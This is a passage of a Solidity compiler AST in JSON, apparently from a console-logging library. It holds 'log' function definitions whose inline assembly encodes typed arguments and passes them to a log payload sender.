ableDeclaration","scope":43984,"src":"309507:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43947,"name":"address","nodeType":"ElementaryTypeName","src":"309507:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43950,"mutability":"mutable","name":"p2","nameLocation":"309524:2:22","nodeType":"VariableDeclaration","scope":43984,"src":"309519:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":43949,"name":"bool","nodeType":"ElementaryTypeName","src":"309519:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":43952,"mutability":"mutable","name":"p3","nameLocation":"309533:2:22","nodeType":"VariableDeclaration","scope":43984,"src":"309528:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":43951,"name":"bool","nodeType":"ElementaryTypeName","src":"309528:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"309494:42:22"},"returnParameters":{"id":43954,"nodeType":"ParameterList","parameters":[],"src":"309551:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44024,"nodeType":"FunctionDefinition","src":"310816:1334:22","nodes":[],"body":{"id":44023,"nodeType":"Block","src":"310888:1262:22","nodes":[],"statements":[{"assignments":[43996],"declarations":[{"constant":false,"id":43996,"mutability":"mutable","name":"m0","nameLocation":"310906:2:22","nodeType":"VariableDeclaration","scope":44023,"src":"310898:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43995,"name":"bytes32","nodeType":"ElementaryTypeName","src":"310898:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43997,"nodeType":"VariableDeclarationStatement","src":"310898:10:22"},{"assignments":[43999],"declarations":[{"constant":false,"id":43999,"mutability":"mutable","name":"m1","nameLocation":"310926:2:22","nodeType":"VariableDeclaration","scope":44023,"src":"310918:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43998,"name":"bytes32","nodeType":"ElementaryTypeName","src":"310918:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44000,"nodeType":"VariableDeclarationStatement","src":"310918:10:22"},{"assignments":[44002],"declarations":[{"constant":false,"id":44002,"mutability":"mutable","name":"m2","nameLocation":"310946:2:22","nodeType":"VariableDeclaration","scope":44023,"src":"310938:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44001,"name":"bytes32","nodeType":"ElementaryTypeName","src":"310938:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44003,"nodeType":"VariableDeclarationStatement","src":"310938:10:22"},{"assignments":[44005],"declarations":[{"constant":false,"id":44005,"mutability":"mutable","name":"m3","nameLocation":"310966:2:22","nodeType":"VariableDeclaration","scope":44023,"src":"310958:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44004,"name":"bytes32","nodeType":"ElementaryTypeName","src":"310958:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44006,"nodeType":"VariableDeclarationStatement","src":"310958:10:22"},{"assignments":[44008],"declarations":[{"constant":false,"id":44008,"mutability":"mutable","name":"m4","nameLocation":"310986:2:22","nodeType":"VariableDeclaration","scope":44023,"src":"310978:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44007,"name":"bytes32","nodeType":"ElementaryTypeName","src":"310978:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44009,"nodeType":"VariableDeclarationStatement","src":"310978:10:22"},{"assignments":[44011],"declarations":[{"constant":false,"id":44011,"mutability":"mutable","name":"m5","nameLocation":"311006:2:22","nodeType":"VariableDeclaration","scope":44023,"src":"310998:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44010,"name":"bytes32","nodeType":"ElementaryTypeName","src":"310998:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44012,"nodeType":"VariableDeclarationStatement","src":"310998:10:22"},{"assignments":[44014],"declarations":[{"constant":false,"id":44014,"mutability":"mutable","name":"m6","nameLocation":"311026:2:22","nodeType":"VariableDeclaration","scope":44023,"src":"311018:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44013,"name":"bytes32","nodeType":"ElementaryTypeName","src":"311018:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44015,"nodeType":"VariableDeclarationStatement","src":"311018:10:22"},{"AST":{"nativeSrc":"311047:828:22","nodeType":"YulBlock","src":"311047:828:22","statements":[{"body":{"nativeSrc":"311090:313:22","nodeType":"YulBlock","src":"311090:313:22","statements":[{"nativeSrc":"311108:15:22","nodeType":"YulVariableDeclaration","src":"311108:15:22","value":{"kind":"number","nativeSrc":"311122:1:22","nodeType":"YulLiteral","src":"311122:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"311112:6:22","nodeType":"YulTypedName","src":"311112:6:22","type":""}]},{"body":{"nativeSrc":"311193:40:22","nodeType":"YulBlock","src":"311193:40:22","statements":[{"body":{"nativeSrc":"311222:9:22","nodeType":"YulBlock","src":"311222:9:22","statements":[{"nativeSrc":"311224:5:22","nodeType":"YulBreak","src":"311224:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"311210:6:22","nodeType":"YulIdentifier","src":"311210:6:22"},{"name":"w","nativeSrc":"311218:1:22","nodeType":"YulIdentifier","src":"311218:1:22"}],"functionName":{"name":"byte","nativeSrc":"311205:4:22","nodeType":"YulIdentifier","src":"311205:4:22"},"nativeSrc":"311205:15:22","nodeType":"YulFunctionCall","src":"311205:15:22"}],"functionName":{"name":"iszero","nativeSrc":"311198:6:22","nodeType":"YulIdentifier","src":"311198:6:22"},"nativeSrc":"311198:23:22","nodeType":"YulFunctionCall","src":"311198:23:22"},"nativeSrc":"311195:36:22","nodeType":"YulIf","src":"311195:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"311150:6:22","nodeType":"YulIdentifier","src":"311150:6:22"},{"kind":"number","nativeSrc":"311158:4:22","nodeType":"YulLiteral","src":"311158:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"311147:2:22","nodeType":"YulIdentifier","src":"311147:2:22"},"nativeSrc":"311147:16:22","nodeType":"YulFunctionCall","src":"311147:16:22"},"nativeSrc":"311140:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"311164:28:22","nodeType":"YulBlock","src":"311164:28:22","statements":[{"nativeSrc":"311166:24:22","nodeType":"YulAssignment","src":"311166:24:22","value":{"arguments":[{"name":"length","nativeSrc":"311180:6:22","nodeType":"YulIdentifier","src":"311180:6:22"},{"kind":"number","nativeSrc":"311188:1:22","nodeType":"YulLiteral","src":"311188:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"311176:3:22","nodeType":"YulIdentifier","src":"311176:3:22"},"nativeSrc":"311176:14:22","nodeType":"YulFunctionCall","src":"311176:14:22"},"variableNames":[{"name":"length","nativeSrc":"311166:6:22","nodeType":"YulIdentifier","src":"311166:6:22"}]}]},"pre":{"nativeSrc":"311144:2:22","nodeType":"YulBlock","src":"311144:2:22","statements":[]},"src":"311140:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"311257:3:22","nodeType":"YulIdentifier","src":"311257:3:22"},{"name":"length","nativeSrc":"311262:6:22","nodeType":"YulIdentifier","src":"311262:6:22"}],"functionName":{"name":"mstore","nativeSrc":"311250:6:22","nodeType":"YulIdentifier","src":"311250:6:22"},"nativeSrc":"311250:19:22","nodeType":"YulFunctionCall","src":"311250:19:22"},"nativeSrc":"311250:19:22","nodeType":"YulExpressionStatement","src":"311250:19:22"},{"nativeSrc":"311286:37:22","nodeType":"YulVariableDeclaration","src":"311286:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"311303:3:22","nodeType":"YulLiteral","src":"311303:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"311312:1:22","nodeType":"YulLiteral","src":"311312:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"311315:6:22","nodeType":"YulIdentifier","src":"311315:6:22"}],"functionName":{"name":"shl","nativeSrc":"311308:3:22","nodeType":"YulIdentifier","src":"311308:3:22"},"nativeSrc":"311308:14:22","nodeType":"YulFunctionCall","src":"311308:14:22"}],"functionName":{"name":"sub","nativeSrc":"311299:3:22","nodeType":"YulIdentifier","src":"311299:3:22"},"nativeSrc":"311299:24:22","nodeType":"YulFunctionCall","src":"311299:24:22"},"variables":[{"name":"shift","nativeSrc":"311290:5:22","nodeType":"YulTypedName","src":"311290:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"311351:3:22","nodeType":"YulIdentifier","src":"311351:3:22"},{"kind":"number","nativeSrc":"311356:4:22","nodeType":"YulLiteral","src":"311356:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"311347:3:22","nodeType":"YulIdentifier","src":"311347:3:22"},"nativeSrc":"311347:14:22","nodeType":"YulFunctionCall","src":"311347:14:22"},{"arguments":[{"name":"shift","nativeSrc":"311367:5:22","nodeType":"YulIdentifier","src":"311367:5:22"},{"arguments":[{"name":"shift","nativeSrc":"311378:5:22","nodeType":"YulIdentifier","src":"311378:5:22"},{"name":"w","nativeSrc":"311385:1:22","nodeType":"YulIdentifier","src":"311385:1:22"}],"functionName":{"name":"shr","nativeSrc":"311374:3:22","nodeType":"YulIdentifier","src":"311374:3:22"},"nativeSrc":"311374:13:22","nodeType":"YulFunctionCall","src":"311374:13:22"}],"functionName":{"name":"shl","nativeSrc":"311363:3:22","nodeType":"YulIdentifier","src":"311363:3:22"},"nativeSrc":"311363:25:22","nodeType":"YulFunctionCall","src":"311363:25:22"}],"functionName":{"name":"mstore","nativeSrc":"311340:6:22","nodeType":"YulIdentifier","src":"311340:6:22"},"nativeSrc":"311340:49:22","nodeType":"YulFunctionCall","src":"311340:49:22"},"nativeSrc":"311340:49:22","nodeType":"YulExpressionStatement","src":"311340:49:22"}]},"name":"writeString","nativeSrc":"311061:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"311082:3:22","nodeType":"YulTypedName","src":"311082:3:22","type":""},{"name":"w","nativeSrc":"311087:1:22","nodeType":"YulTypedName","src":"311087:1:22","type":""}],"src":"311061:342:22"},{"nativeSrc":"311416:17:22","nodeType":"YulAssignment","src":"311416:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"311428:4:22","nodeType":"YulLiteral","src":"311428:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"311422:5:22","nodeType":"YulIdentifier","src":"311422:5:22"},"nativeSrc":"311422:11:22","nodeType":"YulFunctionCall","src":"311422:11:22"},"variableNames":[{"name":"m0","nativeSrc":"311416:2:22","nodeType":"YulIdentifier","src":"311416:2:22"}]},{"nativeSrc":"311446:17:22","nodeType":"YulAssignment","src":"311446:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"311458:4:22","nodeType":"YulLiteral","src":"311458:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"311452:5:22","nodeType":"YulIdentifier","src":"311452:5:22"},"nativeSrc":"311452:11:22","nodeType":"YulFunctionCall","src":"311452:11:22"},"variableNames":[{"name":"m1","nativeSrc":"311446:2:22","nodeType":"YulIdentifier","src":"311446:2:22"}]},{"nativeSrc":"311476:17:22","nodeType":"YulAssignment","src":"311476:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"311488:4:22","nodeType":"YulLiteral","src":"311488:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"311482:5:22","nodeType":"YulIdentifier","src":"311482:5:22"},"nativeSrc":"311482:11:22","nodeType":"YulFunctionCall","src":"311482:11:22"},"variableNames":[{"name":"m2","nativeSrc":"311476:2:22","nodeType":"YulIdentifier","src":"311476:2:22"}]},{"nativeSrc":"311506:17:22","nodeType":"YulAssignment","src":"311506:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"311518:4:22","nodeType":"YulLiteral","src":"311518:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"311512:5:22","nodeType":"YulIdentifier","src":"311512:5:22"},"nativeSrc":"311512:11:22","nodeType":"YulFunctionCall","src":"311512:11:22"},"variableNames":[{"name":"m3","nativeSrc":"311506:2:22","nodeType":"YulIdentifier","src":"311506:2:22"}]},{"nativeSrc":"311536:17:22","nodeType":"YulAssignment","src":"311536:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"311548:4:22","nodeType":"YulLiteral","src":"311548:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"311542:5:22","nodeType":"YulIdentifier","src":"311542:5:22"},"nativeSrc":"311542:11:22","nodeType":"YulFunctionCall","src":"311542:11:22"},"variableNames":[{"name":"m4","nativeSrc":"311536:2:22","nodeType":"YulIdentifier","src":"311536:2:22"}]},{"nativeSrc":"311566:17:22","nodeType":"YulAssignment","src":"311566:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"311578:4:22","nodeType":"YulLiteral","src":"311578:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"311572:5:22","nodeType":"YulIdentifier","src":"311572:5:22"},"nativeSrc":"311572:11:22","nodeType":"YulFunctionCall","src":"311572:11:22"},"variableNames":[{"name":"m5","nativeSrc":"311566:2:22","nodeType":"YulIdentifier","src":"311566:2:22"}]},{"nativeSrc":"311596:17:22","nodeType":"YulAssignment","src":"311596:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"311608:4:22","nodeType":"YulLiteral","src":"311608:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"311602:5:22","nodeType":"YulIdentifier","src":"311602:5:22"},"nativeSrc":"311602:11:22","nodeType":"YulFunctionCall","src":"311602:11:22"},"variableNames":[{"name":"m6","nativeSrc":"311596:2:22","nodeType":"YulIdentifier","src":"311596:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"311696:4:22","nodeType":"YulLiteral","src":"311696:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"311702:10:22","nodeType":"YulLiteral","src":"311702:10:22","type":"","value":"0x3e9f866a"}],"functionName":{"name":"mstore","nativeSrc":"311689:6:22","nodeType":"YulIdentifier","src":"311689:6:22"},"nativeSrc":"311689:24:22","nodeType":"YulFunctionCall","src":"311689:24:22"},"nativeSrc":"311689:24:22","nodeType":"YulExpressionStatement","src":"311689:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"311733:4:22","nodeType":"YulLiteral","src":"311733:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"311739:4:22","nodeType":"YulLiteral","src":"311739:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"311726:6:22","nodeType":"YulIdentifier","src":"311726:6:22"},"nativeSrc":"311726:18:22","nodeType":"YulFunctionCall","src":"311726:18:22"},"nativeSrc":"311726:18:22","nodeType":"YulExpressionStatement","src":"311726:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"311764:4:22","nodeType":"YulLiteral","src":"311764:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"311770:2:22","nodeType":"YulIdentifier","src":"311770:2:22"}],"functionName":{"name":"mstore","nativeSrc":"311757:6:22","nodeType":"YulIdentifier","src":"311757:6:22"},"nativeSrc":"311757:16:22","nodeType":"YulFunctionCall","src":"311757:16:22"},"nativeSrc":"311757:16:22","nodeType":"YulExpressionStatement","src":"311757:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"311793:4:22","nodeType":"YulLiteral","src":"311793:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"311799:2:22","nodeType":"YulIdentifier","src":"311799:2:22"}],"functionName":{"name":"mstore","nativeSrc":"311786:6:22","nodeType":"YulIdentifier","src":"311786:6:22"},"nativeSrc":"311786:16:22","nodeType":"YulFunctionCall","src":"311786:16:22"},"nativeSrc":"311786:16:22","nodeType":"YulExpressionStatement","src":"311786:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"311822:4:22","nodeType":"YulLiteral","src":"311822:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"311828:2:22","nodeType":"YulIdentifier","src":"311828:2:22"}],"functionName":{"name":"mstore","nativeSrc":"311815:6:22","nodeType":"YulIdentifier","src":"311815:6:22"},"nativeSrc":"311815:16:22","nodeType":"YulFunctionCall","src":"311815:16:22"},"nativeSrc":"311815:16:22","nodeType":"YulExpressionStatement","src":"311815:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"311856:4:22","nodeType":"YulLiteral","src":"311856:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"311862:2:22","nodeType":"YulIdentifier","src":"311862:2:22"}],"functionName":{"name":"writeString","nativeSrc":"311844:11:22","nodeType":"YulIdentifier","src":"311844:11:22"},"nativeSrc":"311844:21:22","nodeType":"YulFunctionCall","src":"311844:21:22"},"nativeSrc":"311844:21:22","nodeType":"YulExpressionStatement","src":"311844:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43996,"isOffset":false,"isSlot":false,"src":"311416:2:22","valueSize":1},{"declaration":43999,"isOffset":false,"isSlot":false,"src":"311446:2:22","valueSize":1},{"declaration":44002,"isOffset":false,"isSlot":false,"src":"311476:2:22","valueSize":1},{"declaration":44005,"isOffset":false,"isSlot":false,"src":"311506:2:22","valueSize":1},{"declaration":44008,"isOffset":false,"isSlot":false,"src":"311536:2:22","valueSize":1},{"declaration":44011,"isOffset":false,"isSlot":false,"src":"311566:2:22","valueSize":1},{"declaration":44014,"isOffset":false,"isSlot":false,"src":"311596:2:22","valueSize":1},{"declaration":43986,"isOffset":false,"isSlot":false,"src":"311862:2:22","valueSize":1},{"declaration":43988,"isOffset":false,"isSlot":false,"src":"311770:2:22","valueSize":1},{"declaration":43990,"isOffset":false,"isSlot":false,"src":"311799:2:22","valueSize":1},{"declaration":43992,"isOffset":false,"isSlot":false,"src":"311828:2:22","valueSize":1}],"id":44016,"nodeType":"InlineAssembly","src":"311038:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44018,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"311900:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":44019,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"311906:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":44017,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"311884:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44020,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"311884:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44021,"nodeType":"ExpressionStatement","src":"311884:27:22"},{"AST":{"nativeSrc":"311930:214:22","nodeType":"YulBlock","src":"311930:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"311951:4:22","nodeType":"YulLiteral","src":"311951:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"311957:2:22","nodeType":"YulIdentifier","src":"311957:2:22"}],"functionName":{"name":"mstore","nativeSrc":"311944:6:22","nodeType":"YulIdentifier","src":"311944:6:22"},"nativeSrc":"311944:16:22","nodeType":"YulFunctionCall","src":"311944:16:22"},"nativeSrc":"311944:16:22","nodeType":"YulExpressionStatement","src":"311944:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"311980:4:22","nodeType":"YulLiteral","src":"311980:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"311986:2:22","nodeType":"YulIdentifier","src":"311986:2:22"}],"functionName":{"name":"mstore","nativeSrc":"311973:6:22","nodeType":"YulIdentifier","src":"311973:6:22"},"nativeSrc":"311973:16:22","nodeType":"YulFunctionCall","src":"311973:16:22"},"nativeSrc":"311973:16:22","nodeType":"YulExpressionStatement","src":"311973:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"312009:4:22","nodeType":"YulLiteral","src":"312009:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"312015:2:22","nodeType":"YulIdentifier","src":"312015:2:22"}],"functionName":{"name":"mstore","nativeSrc":"312002:6:22","nodeType":"YulIdentifier","src":"312002:6:22"},"nativeSrc":"312002:16:22","nodeType":"YulFunctionCall","src":"312002:16:22"},"nativeSrc":"312002:16:22","nodeType":"YulExpressionStatement","src":"312002:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"312038:4:22","nodeType":"YulLiteral","src":"312038:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"312044:2:22","nodeType":"YulIdentifier","src":"312044:2:22"}],"functionName":{"name":"mstore","nativeSrc":"312031:6:22","nodeType":"YulIdentifier","src":"312031:6:22"},"nativeSrc":"312031:16:22","nodeType":"YulFunctionCall","src":"312031:16:22"},"nativeSrc":"312031:16:22","nodeType":"YulExpressionStatement","src":"312031:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"312067:4:22","nodeType":"YulLiteral","src":"312067:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"312073:2:22","nodeType":"YulIdentifier","src":"312073:2:22"}],"functionName":{"name":"mstore","nativeSrc":"312060:6:22","nodeType":"YulIdentifier","src":"312060:6:22"},"nativeSrc":"312060:16:22","nodeType":"YulFunctionCall","src":"312060:16:22"},"nativeSrc":"312060:16:22","nodeType":"YulExpressionStatement","src":"312060:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"312096:4:22","nodeType":"YulLiteral","src":"312096:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"312102:2:22","nodeType":"YulIdentifier","src":"312102:2:22"}],"functionName":{"name":"mstore","nativeSrc":"312089:6:22","nodeType":"YulIdentifier","src":"312089:6:22"},"nativeSrc":"312089:16:22","nodeType":"YulFunctionCall","src":"312089:16:22"},"nativeSrc":"312089:16:22","nodeType":"YulExpressionStatement","src":"312089:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"312125:4:22","nodeType":"YulLiteral","src":"312125:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"312131:2:22","nodeType":"YulIdentifier","src":"312131:2:22"}],"functionName":{"name":"mstore","nativeSrc":"312118:6:22","nodeType":"YulIdentifier","src":"312118:6:22"},"nativeSrc":"312118:16:22","nodeType":"YulFunctionCall","src":"312118:16:22"},"nativeSrc":"312118:16:22","nodeType":"YulExpressionStatement","src":"312118:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43996,"isOffset":false,"isSlot":false,"src":"311957:2:22","valueSize":1},{"declaration":43999,"isOffset":false,"isSlot":false,"src":"311986:2:22","valueSize":1},{"declaration":44002,"isOffset":false,"isSlot":false,"src":"312015:2:22","valueSize":1},{"declaration":44005,"isOffset":false,"isSlot":false,"src":"312044:2:22","valueSize":1},{"declaration":44008,"isOffset":false,"isSlot":false,"src":"312073:2:22","valueSize":1},{"declaration":44011,"isOffset":false,"isSlot":false,"src":"312102:2:22","valueSize":1},{"declaration":44014,"isOffset":false,"isSlot":false,"src":"312131:2:22","valueSize":1}],"id":44022,"nodeType":"InlineAssembly","src":"311921:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"310825:3:22","parameters":{"id":43993,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43986,"mutability":"mutable","name":"p0","nameLocation":"310837:2:22","nodeType":"VariableDeclaration","scope":44024,"src":"310829:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43985,"name":"bytes32","nodeType":"ElementaryTypeName","src":"310829:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43988,"mutability":"mutable","name":"p1","nameLocation":"310849:2:22","nodeType":"VariableDeclaration","scope":44024,"src":"310841:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43987,"name":"address","nodeType":"ElementaryTypeName","src":"310841:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43990,"mutability":"mutable","name":"p2","nameLocation":"310858:2:22","nodeType":"VariableDeclaration","scope":44024,"src":"310853:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":43989,"name":"bool","nodeType":"ElementaryTypeName","src":"310853:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":43992,"mutability":"mutable","name":"p3","nameLocation":"310870:2:22","nodeType":"VariableDeclaration","scope":44024,"src":"310862:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43991,"name":"uint256","nodeType":"ElementaryTypeName","src":"310862:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"310828:45:22"},"returnParameters":{"id":43994,"nodeType":"ParameterList","parameters":[],"src":"310888:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44070,"nodeType":"FunctionDefinition","src":"312156:1530:22","nodes":[],"body":{"id":44069,"nodeType":"Block","src":"312228:1458:22","nodes":[],"statements":[{"assignments":[44036],"declarations":[{"constant":false,"id":44036,"mutability":"mutable","name":"m0","nameLocation":"312246:2:22","nodeType":"VariableDeclaration","scope":44069,"src":"312238:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44035,"name":"bytes32","nodeType":"ElementaryTypeName","src":"312238:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44037,"nodeType":"VariableDeclarationStatement","src":"312238:10:22"},{"assignments":[44039],"declarations":[{"constant":false,"id":44039,"mutability":"mutable","name":"m1","nameLocation":"312266:2:22","nodeType":"VariableDeclaration","scope":44069,"src":"312258:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44038,"name":"bytes32","nodeType":"ElementaryTypeName","src":"312258:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44040,"nodeType":"VariableDeclarationStatement","src":"312258:10:22"},{"assignments":[44042],"declarations":[{"constant":false,"id":44042,"mutability":"mutable","name":"m2","nameLocation":"312286:2:22","nodeType":"VariableDeclaration","scope":44069,"src":"312278:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44041,"name":"bytes32","nodeType":"ElementaryTypeName","src":"312278:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44043,"nodeType":"VariableDeclarationStatement","src":"312278:10:22"},{"assignments":[44045],"declarations":[{"constant":false,"id":44045,"mutability":"mutable","name":"m3","nameLocation":"312306:2:22","nodeType":"VariableDeclaration","scope":44069,"src":"312298:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44044,"name":"bytes32","nodeType":"ElementaryTypeName","src":"312298:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44046,"nodeType":"VariableDeclarationStatement","src":"312298:10:22"},{"assignments":[44048],"declarations":[{"constant":false,"id":44048,"mutability":"mutable","name":"m4","nameLocation":"312326:2:22","nodeType":"VariableDeclaration","scope":44069,"src":"312318:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44047,"name":"bytes32","nodeType":"ElementaryTypeName","src":"312318:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44049,"nodeType":"VariableDeclarationStatement","src":"312318: